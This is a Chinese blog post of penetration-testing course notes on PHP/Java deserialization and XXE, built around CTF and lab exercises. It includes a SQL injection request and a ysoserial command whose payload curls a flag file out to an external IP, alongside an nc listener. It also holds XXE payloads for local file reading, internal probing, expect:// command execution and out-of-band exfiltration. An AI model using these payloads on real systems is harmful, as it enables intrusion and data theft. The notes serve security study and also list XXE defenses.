【小迪安全】web安全丨渗透测试丨网络安全 | 学习笔记-6

原创

youngerll 于 2022-01-02 11:13:43 发布 183 收藏 1

分类专栏： 【小迪安全】web安全丨渗透测试丨网络安全 文章标签： web安全 安全 php

本文链接：https://blog.csdn.net/youngerll/article/details/122274494

目录

目录

第37天：WEB漏洞-反序列化之PHP&JAVA全解（上）

PHP反序列化

原理：未对用户输入的序列化字符串进行检测，导致攻击者可以控制反序列化过程，从而导致代码执行，SQL注入，目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

serialize() //将一个对象转换成一个字符串

unserialize() //将字符串还原成一个对象

魔术方法

在特定情况下会自动触发的方法

触发：unserialize函数的变量可控，文件中存在可利用的类，类中有魔术方法

参考：https://www.cnblogs.com/20175211lyz/p/11403397.html

__construct() //创建对象时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset() //在不可访问的属性上调用isset()或empty()触发

__unset() //在不可访问的属性上使用unset()时触发

__invoke() //当脚本尝试将对象调用为函数时触发

序列化一般格式

s:4:“name”

数据类型：数据长度：数据名

i:17

数据类型：数据名

不同语言的序列化格式不尽相同，也可以使用如XML、Json等标准格式

CTF真题知识点

题目思路

第零：根据题目名称及代码中的unserialize函数判断考点是反序列化知识点

第一：程序包含了一个flag.php，显然flag在其中

第二：程序包含两个魔术方法__destruct、__construct

第三：传输str参数数据会触发__destruct，存在is_valid过滤

第四：__destruct会调用process函数，在process函数中，当op=1执行写入函数，当op=2执行读取函数

第五：代码中有类FileHandler，其中3个变量op、filename、content。根据题目要求构造需要的序列化字符串

构造序列化字符串的函数

```
<?php class FileHandler{ public $op=' 2';//op为1时候是执行写入为2时执行读取，这里需要读取 public $filename="flag.php";//调用flag.php public $content="xd";//这个随便，题目中没用的 } $flag = new FileHandler(); $flag_1 = serialize($flag); echo $flag_1; ?>
```

涉及知识点

反序列化魔术方法调用、弱类型绕过、ascii 绕过

__destruct函数对$this->op进行了===判断并在内容是为“2”的字符串时会重新赋值op为1，

借助“”验证数值，“=”验证数值和类型的知识点，这里可以使用数字2或字符串’ 2’绕过判断。

is_valid函数还对序列化字符串进行了校验，因为成员被protected修饰，因此序列化字符串中会出现ascii为0的字符。经过测试，在PHP7.2+的环境中，使用public修饰成员并序列化，反序列化后成员也会被public覆盖修饰。

涉及资源：

php在线代码测试工具：http://www.dooccn.com/php/

CTFHub-历年真题：https://www.ctfhub.com/#/challenge

Bugku-题目：https://ctf.bugku.com/challenges#flag.php

南邮CG-CTF（链接不可用，不过题目还可以访问）：https://cgctf.nuptsast.com/challenges#Web

南邮ctf nctf CG-CTF web题writeup（包含上面的题目链接）：

https://blog.csdn.net/a895963248/article/details/96110845

CTF PHP反序列化：https://www.cnblogs.com/20175211lyz/p/11403397.html

第38天：WEB漏洞-反序列化之PHP&JAVA全解（下）

Java中序列化\反序列化的API实现

位置：Java.io.ObjectOutputStream Java.io.ObjectInputStream

序列化：ObjectOutputStream类–>writeObject()

```
该方法对参数指定的obj对象进行序列化，把字节序列写到一个目标输出流中

按Java的标准约定是给文件一个.ser扩展名
```

反序列化：ObjectInputStream类–>readObject()

```
该方法从一个源输入流中读取字节序列，再把它们反序列化为一个对象，并将其返回
```

序列化和反序列化

序列化(Serialization)：将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间，对象将其当前状态写入到临时或持久性存储区。

反序列化：从存储区中读取该数据，并将其还原为对象的过程，称为反序列化。

Java序列化标志参考

一段数据以“rO0AB”开头，那么它很可能是Java序列化base64加密的数据

一段数据以“aced”开头，那么它很可能是Java序列化的16进制

演示案例二知识点

为了确保执行的命令可以回显，使用反弹shell

命令，如ipconfig->序列化->（base64）->最终payload

如果服务器上有应用程序框架，可以利用应用程序框架上存在的反序列化漏洞

演示案例三-think_java的知识点
0x01 注入判断，获取管理员帐号密码

题目附件中存在“SqlDict”的字样，“SqlDict.class”中有SQL语句，判断题目与SQL注入有关

使用burpsuite抓包，把“Test.class”中的地址作为数据包POST的数据；根据附件中的数据库信息构建SQL语句

```
POST /common/test/sqlDict

dbName=myapp?a=' union sel删掉这串汉字ect (select pwd from user)#
```

获得账号密码

0x02 接口测试

从附件代码“import io.swagger.annotations.ApiOperation;”中得知程序使用了swagger开发接口，通过该接口实现账号密码的登录测试

默认登录地址“/swagger-ui.html”，将该地址加到网址后

查看该接口的登录功能，把之前获得的账号密码带入到测试功能中，在返回体中找到一段“rO0AB”开头的数据

```
"password":"ctfhub_29588_13038",

"username": "ctfhub"
```

返回体：

```
{

"data": "Bearer rO0ABXNyABhjbi5hYm……（省略部分内容），

"msg": "登录成功",

"status": 2,

"timestamps": 1594549037415

}
```

查看该接口的获取当前用户信息功能，把之前获得的反序列化的“data”值作为身份验证Token的值带入，显示的内容包含用户名等信息

0x03 回显数据分析攻击思路

将之前得到的反序列化数据解密

先利用py2脚本进行base64解密数据

```
import base64

a = "rO0ABXNyABhjbi5hYm……（省略部分内容）"

b = base64.b64decode(a).encode('hex')

print(b)
```

再利用SerializationDumper解析数据

```
java -jar SerializationDumper.jar （base64后的数据）
```

解密后的原始数据包含用户名等信息

0x04 生成反序列化payload

将恶意代码进行序列化后进行后续操作

利用ysoserial进行序列化生成

```
java -jar ysoserial-master-30099844c6-1.jar ROME "curl http://47.75.212.155:4444 -d @/flag" > xiaodi.bin
```

利用py2脚本进行反序列化数据的提取

```
import base64

file = open("xiaodi.bin","rb")

now = file.read()

ba = base64.b64encode(now)

print(ba)

file.close()
```

0x05 触发反序列化，获取flag

服务器监听，接收反弹shell的数据：

```
nc -lvvp 4444
```

将带有恶意代码的payload发送给网站，触发反序列数据加载操作

涉及资源：

ysoserial：https://github.com/frohoff/ysoserial

WebGoat：https://github.com/WebGoat/WebGoat

SerializationDumper：https://github.com/NickstaDB/SerializationDumper/tree/1.12

第39天：WEB漏洞-XXE&XML之利用检测绕过全解

XML

XML，可扩展标记语言，标准通用标记语言的子集。XML的简单易于在任何应用程序中读/写数据，这使XML很快成为数据交换的唯一公共语言。

XML被设计为传输和存储数据，XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素，其焦点是数据的内容，其把数据从HTML分离，是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection，即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XML与HTML的主要差异

XML被设计为传输和存储数据，其焦点是数据的内容。

HTML被设计用来显示数据，其焦点是数据的外观。

HTML旨在显示信息，而XML旨在传输信息。

XXE漏洞修复与防御方案-php,java,python-过滤及禁用
方案1-禁用外部实体

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python：

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案2-过滤用户提交的XML数据

过滤关键词：<!DOCTYPE 和<!ENTITY，或者SYSTEM和PUBLIC

各种脚本支持的协议

XXE利用方法
读文件

```
<?xml version = "1.0"?>

<!DOCTYPE ANY [

<!ENTITY xxe SYSTEM "file:///d://test.txt">

]>

<x>&xxe;</x>
```

内网探针或攻击内网应用（触发漏洞地址）

看内网有没有开放端口，能不能访问

也可以借助该方法触发漏洞

```
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >

]>

<x>&rabbit;</x>
```

RCE(远程代码执行)
需要安装expect扩展的PHP环境才能实现

```
<?xml version = "1.0"?>

<!DOCTYPE ANY [

<!ENTITY xxe SYSTEM "expect://id" >

]>

<x>&xxe;</x>
```

引入外部实体dtd

把恶意代码写入dtd文件，再让网站访问dtd，执行其中的代码

需要允许外部实体引用才能实现

可以自定义攻击代码，还可以绕过部分防御软件

```
<?xml version="1.0" ?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">

%file;

]>

<x>&send;</x>

evil2.dtd:

<!ENTITY send SYSTEM "file:///d:/test.txt">
```

无回显-读取文件

读取文件然后写入到特定远程文件中

只需要写一个接收文件，或开启日志

```
<?xml version="1.0"?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt">

<!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">

%dtd;

%send;

]>



test.dtd：

<!ENTITY % payload

"<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"

>

%payload;
```

读文件（绕过）

参考：https://www.cnblogs.com/20175211lyz/p/11413335.html

```
<?xml version = "1.0"?>

<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>

<x>&f;</x>
```

XXE检测方法

使用burpsuite爬取数据包

在数据包中搜索“Content-Type”，如果值为“text/xml”或“application/xml”，则后面的数据是XML数据

根据数据写法判断，类似“admin”为XML的格式

直接更改“Content-Type”的值为“text/xml”或“application/xml”

在接收XML数据的位置提交攻击语句进行测试

burpsuite抓包，右键“Send to Spider”爬取数据，结果在“Proxy-History”中

在“Filter by search term”一栏可以搜索数据包内容

提交攻击代码作为测试，测试语句如下

```
<?xml version="1.0"?>

<!DOCTYPE Mikasa [

<!ENTITY test SYSTEM "file:///d:/test.txt">

]>

<user><username>&test;</username><password>Mikasa</password></user>
```

Vulnhub-XXE案例思路

扫描IP及端口->扫描探针目录->抓包探针xxe安全->利用xxe读取源码->flag指向文件->base32、64解密->php 运行->flag

XXE安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

https://www.cnblogs.com/bmjoker/p/9614990.html

涉及资源：

CTF XXE：https://www.cnblogs.com/20175211lyz/p/11413335.html

CTF-Jarvis-OJ-Web-XXE安全真题：http://web.jarvisoj.com:9882/

xxe-lab（XXE漏洞靶场）：https://github.com/c0ny1/xxe-lab

XXEinjector（XXE工具）：https://github.com/enjoiz/XXEinjector

XXE LAB: 1（vulnhub靶场）：https://www.vulnhub.com/entry/xxe-lab-1,254/

XXEinjector：一款功能强大的自动化XXE注射工具：

https://www.cnblogs.com/bmjoker/p/9614990.html

忍者安全测试系统 NINJUTSU OS：https://www.moonsec.com/archives/2202